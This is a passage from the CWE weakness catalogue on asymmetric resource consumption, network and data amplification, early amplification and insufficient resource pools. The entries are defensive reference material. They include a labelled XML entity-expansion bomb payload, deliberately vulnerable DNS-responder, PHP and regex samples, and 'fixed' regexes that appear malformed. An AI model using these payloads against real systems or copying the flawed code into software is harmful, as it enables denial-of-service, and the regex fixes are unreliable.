The CERT Oracle Secure Coding Standard for Java (2011)	FIO04-J		Release resources when they are no longer needed
Software Fault Patterns	SFP14		Failure to release resource

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
125	Flooding
130	Excessive Allocation
131	Resource Leak Exposure
494	TCP Fragmentation
495	UDP Fragmentation
496	ICMP Fragmentation
666	BlueSmacking

## References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-405: Asymmetric Resource Consumption (Amplification)

**Weakness ID** : 405

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not properly control situations in which an adversary can cause the product to consume or produce excessive resources without requiring the adversary to invest equivalent work or otherwise prove authorization, i.e., the adversary's influence is "asymmetric."

### Extended Description

This can lead to poor performance due to "amplification" of resource consumption, typically in a non-linear fashion. This situation is worsened if the product allows malicious users or attackers to consume more resources than their access level permits.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367
ParentOf	C	406	Insufficient Control of Network Message Volume (Network Amplification)	937
ParentOf	C	407	Inefficient Algorithmic Complexity	939
ParentOf	B	408	Incorrect Behavior Order: Early Amplification	942
ParentOf	B	409	Improper Handling of Highly Compressed Data (Data Amplification)	943
ParentOf	B	1050	Excessive Platform Resource Consumption within a Loop	1750
ParentOf	B	1072	Data Resource Access without Use of Connection Pooling	1773
ParentOf	B	1073	Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses	1774
ParentOf	B	1084	Invokable Control Element with Excessive File or Data Access Operations	1784
ParentOf	B	1089	Large Data Table with Excessive Number of Indices	1789
ParentOf	B	1094	Excessive Index Range Scan for a Data Resource	1794
ParentOf	C	1176	Inefficient CPU Computation	1826
PeerOf	C	404	Improper Resource Shutdown or Release	927

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

**Technology** : Client Server (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Amplification DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other)  <i>Sometimes this is a factor in "flood" attacks, but other types of amplification exist.</i>	High

## Potential Mitigations

### Phase: Architecture and Design

An application must make resources available to a client commensurate with the client's access level.

### Phase: Architecture and Design

An application must, at all times, keep track of allocated resources and meter their usage appropriately.

### Phase: System Configuration

Consider disabling resource-intensive algorithms on the server side, such as Diffie-Hellman key exchange.

*Effectiveness = High*

*Business requirements may prevent disabling resource-intensive algorithms.*

## Demonstrative Examples

### Example 1:

This code listens on a port for DNS requests and sends the result to the requesting address.

*Example Language: Python*

*(Bad)*

```
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind( (UDP_IP,UDP_PORT) )
while true:
    data = sock.recvfrom(1024)
    if not data:
        break
    (requestIP, nameToResolve) = parseUDPpacket(data)
    record = resolveName(nameToResolve)
    sendResponse(requestIP,record)
```

This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.

### Example 2:

This data prints the contents of a specified file requested by a user.

*Example Language: PHP*

*(Bad)*

```
function printFile($username,$filename){
    //read file into string
    $file = file_get_contents($filename);
    if ($file && isOwnerOf($username,$filename)){
        echo $file;
        return true;
    }
    else{
        echo 'You are not authorized to view this file';
    }
    return false;
}
```

}

This code first reads a specified file into memory, then prints the file if the user is authorized to see its contents. The read of the file into memory may be resource intensive and is unnecessary if the user is not allowed to see the file anyway.

### Example 3:

The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is  $2^0$ . Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or  $2^1$ . Ultimately, we reach entity THIRTYTWO, which will expand to  $2^{32}$  characters in length, or 4 GB, probably consuming far more data than expected.

Example Language: XML

(Attack)

```
<?xml version="1.0"?>
<!DOCTYPE MaliciousDTD [
<!ENTITY ZERO "A">
<!ENTITY ONE "&ZERO;&ZERO;">
<!ENTITY TWO "&ONE;&ONE;">
...
<!ENTITY THIRTYTWO "&THIRTYONE;&THIRTYONE;">
]>
<data>&THIRTYTWO;</data>
```

### Example 4:

This example attempts to check if an input string is a "sentence" [REF-1164].

Example Language: JavaScript

(Bad)

```
var test_string = "Bad characters: $@#";
var bad_pattern = /^(\w+\s?)*$/i;
var result = test_string.search(bad_pattern);
```

The regular expression has a vulnerable backtracking clause inside  $(\w+\s?)*\$$  which can be triggered to cause a Denial of Service by processing particular phrases.

To fix the backtracking problem, backtracking is removed with the  $?=$  portion of the expression which changes it to a lookahead and the  $\2$  which prevents the backtracking. The modified example is:

Example Language: JavaScript

(Good)

```
var test_string = "Bad characters: $@#";
var good_pattern = /^(?=(\w+)\2s?)*$/i;
var result = test_string.search(good_pattern);
```

Note that [REF-1164] has a more thorough (and lengthy) explanation of everything going on within the RegEx.

### Example 5:

An adversary can cause significant resource consumption on a server by filtering the cryptographic algorithms offered by the client to the ones that are the most resource-intensive on the server side. After discovering which cryptographic algorithms are supported by the server, a malicious client can send the initial cryptographic handshake messages that contains only the resource-intensive algorithms. For some cryptographic protocols, these messages can be completely prefabricated, as the resource-intensive part of the handshake happens on the server-side first (such as TLS), rather than on the client side. In the case of cryptographic protocols where the resource-intensive



part should happen on the client-side first (such as SSH), a malicious client can send a forged/ precalculated computation result, which seems correct to the server, so the resource-intensive part of the handshake is going to happen on the server side. A malicious client is required to send only the initial messages of a cryptographic handshake to initiate the resource-consuming part of the cryptographic handshake. These messages are usually small, and generating them requires minimal computational effort, enabling a denial-of-service attack. An additional risk is the fact that higher key size increases the effectiveness of the attack. Cryptographic protocols where the clients have influence over the size of the used key (such as TLS 1.3 or SSH) are most at risk, as the client can enforce the highest key size supported by the server.

### Observed Examples

Reference	Description
<b>CVE-1999-0513</b>	Classic "Smurf" attack, using spoofed ICMP packets to broadcast addresses. <a href="https://www.cve.org/CVERecord?id=CVE-1999-0513">https://www.cve.org/CVERecord?id=CVE-1999-0513</a>
<b>CVE-2003-1564</b>	Parsing library allows XML bomb <a href="https://www.cve.org/CVERecord?id=CVE-2003-1564">https://www.cve.org/CVERecord?id=CVE-2003-1564</a>
<b>CVE-2004-2458</b>	Tool creates directories before authenticating user. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2458">https://www.cve.org/CVERecord?id=CVE-2004-2458</a>
<b>CVE-2020-10735</b>	Python has "quadratic complexity" issue when converting string to int with many digits in unexpected bases <a href="https://www.cve.org/CVERecord?id=CVE-2020-10735">https://www.cve.org/CVERecord?id=CVE-2020-10735</a>
<b>CVE-2020-5243</b>	server allows ReDOS with crafted User-Agent strings, due to overlapping capture groups that cause excessive backtracking. <a href="https://www.cve.org/CVERecord?id=CVE-2020-5243">https://www.cve.org/CVERecord?id=CVE-2020-5243</a>
<b>CVE-2013-5211</b>	composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses. <a href="https://www.cve.org/CVERecord?id=CVE-2013-5211">https://www.cve.org/CVERecord?id=CVE-2013-5211</a>
<b>CVE-2002-20001</b>	Diffie-Hellman (DHE) Key Agreement Protocol allows attackers to send arbitrary numbers that are not public keys, which causes the server to perform expensive, unnecessary computation of modular exponentiation. <a href="https://www.cve.org/CVERecord?id=CVE-2002-20001">https://www.cve.org/CVERecord?id=CVE-2002-20001</a>
<b>CVE-2022-40735</b>	The Diffie-Hellman Key Agreement Protocol allows use of long exponents, which are more computationally expensive than using certain "short exponents" with particular properties. <a href="https://www.cve.org/CVERecord?id=CVE-2022-40735">https://www.cve.org/CVERecord?id=CVE-2022-40735</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	2132
MemberOf	<b>C</b>	855	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 12 - Thread Pools (TPS)	844	2160
MemberOf	<b>C</b>	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	2161
MemberOf	<b>C</b>	977	SFP Secondary Cluster: Design	888	2200
MemberOf	<b>C</b>	1145	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 11. Thread Pools (TPS)	1133	2243
MemberOf	<b>C</b>	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	2244

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Asymmetric resource consumption (amplification)
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
WASC	41		XML Attribute Blowup
The CERT Oracle Secure Coding Standard for Java (2011)	TPS00-J		Use thread pools to enable graceful degradation of service during traffic bursts
The CERT Oracle Secure Coding Standard for Java (2011)	FIO04-J		Release resources when they are no longer needed

## References

[REF-1164]Ilya Kantor. "Catastrophic backtracking". 2020 December 3. < <https://javascript.info/regexp-catastrophic-backtracking> >.

## CWE-406: Insufficient Control of Network Message Volume (Network Amplification)

**Weakness ID** : 406

**Structure** : Simple

**Abstraction** : Class

## Description

The product does not sufficiently monitor or control transmitted network traffic volume, so that an actor can cause the product to transmit more traffic than should be allowed for that actor.

## Extended Description

In the absence of a policy to restrict asymmetric resource consumption, the application or system cannot distinguish between legitimate transmissions and traffic intended to serve as an amplifying attack on target systems. Systems can often be configured to restrict the amount of traffic sent out on behalf of a client, based on the client's origin or access level. This is usually defined in a resource allocation policy. In the absence of a mechanism to keep track of transmissions, the system or application can be easily abused to transmit asymmetrically greater traffic than the request or client should be permitted to.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		405	Asymmetric Resource Consumption (Amplification)	933
CanFollow		941	Incorrectly Specified Destination in a Communication Channel	1715

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Amplification DoS: Crash, Exit, or Restart	

Scope	Impact	Likelihood
	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other)	
	<i>System resources can be quickly consumed leading to poor application performance or system crash. This may affect network performance and could be used to attack other systems and applications relying on network performance.</i>	

## Potential Mitigations

### Phase: Architecture and Design

*Strategy = Separation of Privilege*

An application must make network resources available to a client commensurate with the client's access level.

### Phase: Policy

Define a clear policy for network resource allocation and consumption.

### Phase: Implementation

An application must, at all times, keep track of network resources and meter their usage appropriately.

## Demonstrative Examples

### Example 1:

This code listens on a port for DNS requests and sends the result to the requesting address.

*Example Language: Python*

*(Bad)*

```
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind( (UDP_IP,UDP_PORT) )
while true:
    data = sock.recvfrom(1024)
    if not data:
        break
    (requestIP, nameToResolve) = parseUDPpacket(data)
    record = resolveName(nameToResolve)
    sendResponse(requestIP,record)
```

This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.

## Observed Examples

Reference	Description
<b>CVE-1999-0513</b>	Classic "Smurf" attack, using spoofed ICMP packets to broadcast addresses. <a href="https://www.cve.org/CVERecord?id=CVE-1999-0513">https://www.cve.org/CVERecord?id=CVE-1999-0513</a>
<b>CVE-1999-1379</b>	DNS query with spoofed source address causes more traffic to be returned to spoofed address than was sent by the attacker. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1379">https://www.cve.org/CVERecord?id=CVE-1999-1379</a>
<b>CVE-2000-0041</b>	Large datagrams are sent in response to malformed datagrams. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0041">https://www.cve.org/CVERecord?id=CVE-2000-0041</a>
<b>CVE-1999-1066</b>	Game server sends a large amount. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1066">https://www.cve.org/CVERecord?id=CVE-1999-1066</a>
<b>CVE-2013-5211</b>	composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2013-5211">https://www.cve.org/CVERecord?id=CVE-2013-5211</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	977	SFP Secondary Cluster: Design	888	2200
MemberOf	C	1382	ICS Operations (& Maintenance): Emerging Energy Technologies	1358	2308

### Notes

#### Relationship

This can be resultant from weaknesses that simplify spoofing attacks.

#### Theoretical

Network amplification, when performed with spoofing, is normally a multi-channel attack from attacker (acting as user) to amplifier, and amplifier to victim.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Network Amplification

## CWE-407: Inefficient Algorithmic Complexity

**Weakness ID** : 407

**Structure** : Simple

**Abstraction** : Class

### Description

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	405	Asymmetric Resource Consumption (Amplification)	933
ParentOf	B	1333	Inefficient Regular Expression Complexity	2053

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	B	1333	Inefficient Regular Expression Complexity	2053

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Alternate Terms

**Quadratic Complexity** : Used when the algorithmic complexity is related to the square of the number of inputs ( $N^2$ )

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other)  <i>The typical consequence is CPU consumption, but memory consumption and consumption of other resources can also occur.</i>	

### Demonstrative Examples

#### Example 1:

This example attempts to check if an input string is a "sentence" [REF-1164].

*Example Language: JavaScript*

*(Bad)*

```
var test_string = "Bad characters: $@#";
var bad_pattern = /^(w+|s?)*$/i;
var result = test_string.search(bad_pattern);
```

The regular expression has a vulnerable backtracking clause inside  $(w+|s?)*$  which can be triggered to cause a Denial of Service by processing particular phrases.

To fix the backtracking problem, backtracking is removed with the  $?=$  portion of the expression which changes it to a lookahead and the  $\2$  which prevents the backtracking. The modified example is:

*Example Language: JavaScript*

*(Good)*

```
var test_string = "Bad characters: $@#";
var good_pattern = /^(?=(w+))\2s?)*$/i;
var result = test_string.search(good_pattern);
```

Note that [REF-1164] has a more thorough (and lengthy) explanation of everything going on within the RegEx.

### Observed Examples

Reference	Description
<b>CVE-2021-32617</b>	C++ library for image metadata has "quadratic complexity" issue with unnecessarily repetitive parsing each time an invalid character is encountered <a href="https://www.cve.org/CVERecord?id=CVE-2021-32617">https://www.cve.org/CVERecord?id=CVE-2021-32617</a>
<b>CVE-2020-10735</b>	Python has "quadratic complexity" issue when converting string to int with many digits in unexpected bases <a href="https://www.cve.org/CVERecord?id=CVE-2020-10735">https://www.cve.org/CVERecord?id=CVE-2020-10735</a>
<b>CVE-2020-5243</b>	server allows ReDOS with crafted User-Agent strings, due to overlapping capture groups that cause excessive backtracking. <a href="https://www.cve.org/CVERecord?id=CVE-2020-5243">https://www.cve.org/CVERecord?id=CVE-2020-5243</a>
<b>CVE-2014-1474</b>	Perl-based email address parser has "quadratic complexity" issue via a string that does not contain a valid address <a href="https://www.cve.org/CVERecord?id=CVE-2014-1474">https://www.cve.org/CVERecord?id=CVE-2014-1474</a>

Reference	Description
<b>CVE-2003-0244</b>	CPU consumption via inputs that cause many hash table collisions. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0244">https://www.cve.org/CVERecord?id=CVE-2003-0244</a>
<b>CVE-2003-0364</b>	CPU consumption via inputs that cause many hash table collisions. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0364">https://www.cve.org/CVERecord?id=CVE-2003-0364</a>
<b>CVE-2002-1203</b>	Product performs unnecessary processing before dropping an invalid packet. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1203">https://www.cve.org/CVERecord?id=CVE-2002-1203</a>
<b>CVE-2001-1501</b>	CPU and memory consumption using many wildcards. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1501">https://www.cve.org/CVERecord?id=CVE-2001-1501</a>
<b>CVE-2004-2527</b>	Product allows attackers to cause multiple copies of a program to be loaded more quickly than the program can detect that other copies are running, then exit. This type of error should probably have its own category, where teardown takes more time than initialization. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2527">https://www.cve.org/CVERecord?id=CVE-2004-2527</a>
<b>CVE-2006-6931</b>	Network monitoring system allows remote attackers to cause a denial of service (CPU consumption and detection outage) via crafted network traffic, aka a "backtracking attack." <a href="https://www.cve.org/CVERecord?id=CVE-2006-6931">https://www.cve.org/CVERecord?id=CVE-2006-6931</a>
<b>CVE-2006-3380</b>	Wiki allows remote attackers to cause a denial of service (CPU consumption) by performing a diff between large, crafted pages that trigger the worst case algorithmic complexity. <a href="https://www.cve.org/CVERecord?id=CVE-2006-3380">https://www.cve.org/CVERecord?id=CVE-2006-3380</a>
<b>CVE-2006-3379</b>	Wiki allows remote attackers to cause a denial of service (CPU consumption) by performing a diff between large, crafted pages that trigger the worst case algorithmic complexity. <a href="https://www.cve.org/CVERecord?id=CVE-2006-3379">https://www.cve.org/CVERecord?id=CVE-2006-3379</a>
<b>CVE-2005-2506</b>	OS allows attackers to cause a denial of service (CPU consumption) via crafted Gregorian dates. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2506">https://www.cve.org/CVERecord?id=CVE-2005-2506</a>
<b>CVE-2005-1792</b>	Memory leak by performing actions faster than the software can clear them. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1792">https://www.cve.org/CVERecord?id=CVE-2005-1792</a>

### Functional Areas

- Cryptography

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	977	SFP Secondary Cluster: Design	888	2200
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2277

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Algorithmic Complexity

### References

[REF-395]Scott A. Crosby and Dan S. Wallach. "Algorithmic Complexity Attacks". Proceedings of the 12th USENIX Security Symposium. 2003 August. < [https://www.usenix.org/legacy/events/sec03/tech/full\\_papers/crosby/crosby.pdf](https://www.usenix.org/legacy/events/sec03/tech/full_papers/crosby/crosby.pdf) >.



[REF-1164]Ilya Kantor. "Catastrophic backtracking". 2020 December 3. < <https://javascript.info/regexp-catastrophic-backtracking> >.

## CWE-408: Incorrect Behavior Order: Early Amplification

**Weakness ID** : 408

**Structure** : Simple

**Abstraction** : Base



### Description

The product allows an entity to perform a legitimate but expensive operation before authentication or authorization has taken place.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		405	Asymmetric Resource Consumption (Amplification)	933
ChildOf		696	Incorrect Behavior Order	1426

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		438	Behavioral Problems	2120

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Amplification DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)  <i>System resources, CPU and memory, can be quickly consumed. This can lead to poor system performance or system crash.</i>	

### Demonstrative Examples

#### Example 1:

This data prints the contents of a specified file requested by a user.

*Example Language: PHP*

*(Bad)*

```
function printFile($username,$filename){
    //read file into string
    $file = file_get_contents($filename);
    if ($file && isOwnerOf($username,$filename)){
        echo $file;
        return true;
    }
    else{
        echo 'You are not authorized to view this file';
    }
}
```



```
return false;
}
```

This code first reads a specified file into memory, then prints the file if the user is authorized to see its contents. The read of the file into memory may be resource intensive and is unnecessary if the user is not allowed to see the file anyway.

### Observed Examples

Reference	Description
<b>CVE-2004-2458</b>	Tool creates directories before authenticating user. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2458">https://www.cve.org/CVERecord?id=CVE-2004-2458</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	977	SFP Secondary Cluster: Design	888	2200

### Notes

#### Relationship

Overlaps authentication errors.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Early Amplification

## CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)

**Weakness ID** : 409

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.

### Extended Description

An example of data amplification is a "decompression bomb," a small ZIP file that can produce a large amount of data when it is decompressed.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	405	Asymmetric Resource Consumption (Amplification)	933
ParentOf	B	776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	1521

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	19	Data Processing Errors	2101

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Amplification DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)  <i>System resources, CPU and memory, can be quickly consumed. This can lead to poor system performance or system crash.</i>	

### Demonstrative Examples

#### Example 1:

The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is  $2^0$ . Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or  $2^1$ . Ultimately, we reach entity THIRTYTWO, which will expand to  $2^{32}$  characters in length, or 4 GB, probably consuming far more data than expected.

*Example Language: XML*

*(Attack)*

```
<?xml version="1.0"?>
<!DOCTYPE MaliciousDTD [
<!ENTITY ZERO "A">
<!ENTITY ONE "&ZERO;&ZERO;">
<!ENTITY TWO "&ONE;&ONE;">
...
<!ENTITY THIRTYTWO "&THIRTYONE;&THIRTYONE;">
]>
<data>&THIRTYTWO;</data>
```

### Observed Examples

Reference	Description
<b>CVE-2009-1955</b>	XML bomb in web server module <a href="https://www.cve.org/CVERecord?id=CVE-2009-1955">https://www.cve.org/CVERecord?id=CVE-2009-1955</a>
<b>CVE-2003-1564</b>	Parsing library allows XML bomb <a href="https://www.cve.org/CVERecord?id=CVE-2003-1564">https://www.cve.org/CVERecord?id=CVE-2003-1564</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	2155
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	977	SFP Secondary Cluster: Design	888	2200

Nature	Type	ID	Name	Fit	Page
MemberOf		1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)		1133 2237

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Data Amplification
The CERT Oracle Secure Coding Standard for Java (2011)	IDS04-J		Limit the size of files passed to ZipInputStream

## CWE-410: Insufficient Resource Pool

**Weakness ID :** 410

**Structure :** Simple

**Abstraction :** Base

### Description

The product's resource pool is not large enough to handle peak demand, which allows an attacker to prevent others from accessing the resource by using a (relatively) large number of requests for resources.

### Extended Description

Frequently the consequence is a "flood" of connection or sessions.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367
CanPrecede		400	Uncontrolled Resource Consumption	912

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2117

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Integrity	Other	
Other	<i>Floods often cause a crash or other problem besides denial of the resource itself; these are likely examples of *other* vulnerabilities, not an insufficient resource pool.</i>	

### Potential Mitigations

**Phase:** Architecture and Design

Do not perform resource-intensive transactions for unauthenticated users and/or invalid requests.

**Phase: Architecture and Design**

Consider implementing a velocity check mechanism which would detect abusive behavior.

**Phase: Operation**

Consider load balancing as an option to handle heavy loads.

**Phase: Implementation**

Make sure that resource handles are properly closed when no longer needed.

**Phase: Architecture and Design**

Identify the system's resource intensive operations and consider protecting them from abuse (e.g. malicious automated script which runs the resources out).

**Demonstrative Examples**

**Example 1:**

In the following snippet from a Tomcat configuration file, a JDBC connection pool is defined with a maximum of 5 simultaneous connections (with a 60 second timeout). In this case, it may be trivial for an attacker to instigate a denial of service (DoS) by using up all of the available connections in the pool.

*Example Language: XML*

*(Bad)*

```
<Resource name="jdbc/exampledb"
auth="Container"
type="javax.sql.DataSource"
removeAbandoned="true"
removeAbandonedTimeout="30"
maxActive="5"
maxIdle="5"
maxWait="60000"
username="testuser"
password="testpass"
driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost/exampledb"/>
```

**Observed Examples**

Reference	Description
<b>CVE-1999-1363</b>	Large number of locks on file exhausts the pool and causes crash. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1363">https://www.cve.org/CVERecord?id=CVE-1999-1363</a>
<b>CVE-2001-1340</b>	Product supports only one connection and does not disconnect a user who does not provide credentials. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1340">https://www.cve.org/CVERecord?id=CVE-2001-1340</a>
<b>CVE-2002-0406</b>	Large number of connections without providing credentials allows connection exhaustion. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0406">https://www.cve.org/CVERecord?id=CVE-2002-0406</a>

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	2132
MemberOf		855	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 12 - Thread Pools (TPS)	844	2160
MemberOf		977	SFP Secondary Cluster: Design	888	2200

Nature	Type	ID	Name	Fit	Page
MemberOf		1145	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 11. Thread Pools (TPS)		1133 2243

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insufficient Resource Pool
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
The CERT Oracle Secure Coding Standard for Java (2011)	TPS00-J		Use thread pools to enable graceful degradation of service during traffic bursts

### References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

## CWE-412: Unrestricted Externally Accessible Lock

**Weakness ID** : 412

**Structure** : Simple

**Abstraction** : Base

### Description

The product properly checks for the existence of a lock, but the lock can be externally controlled or influenced by an actor that is outside of the intended sphere of control.

### Extended Description

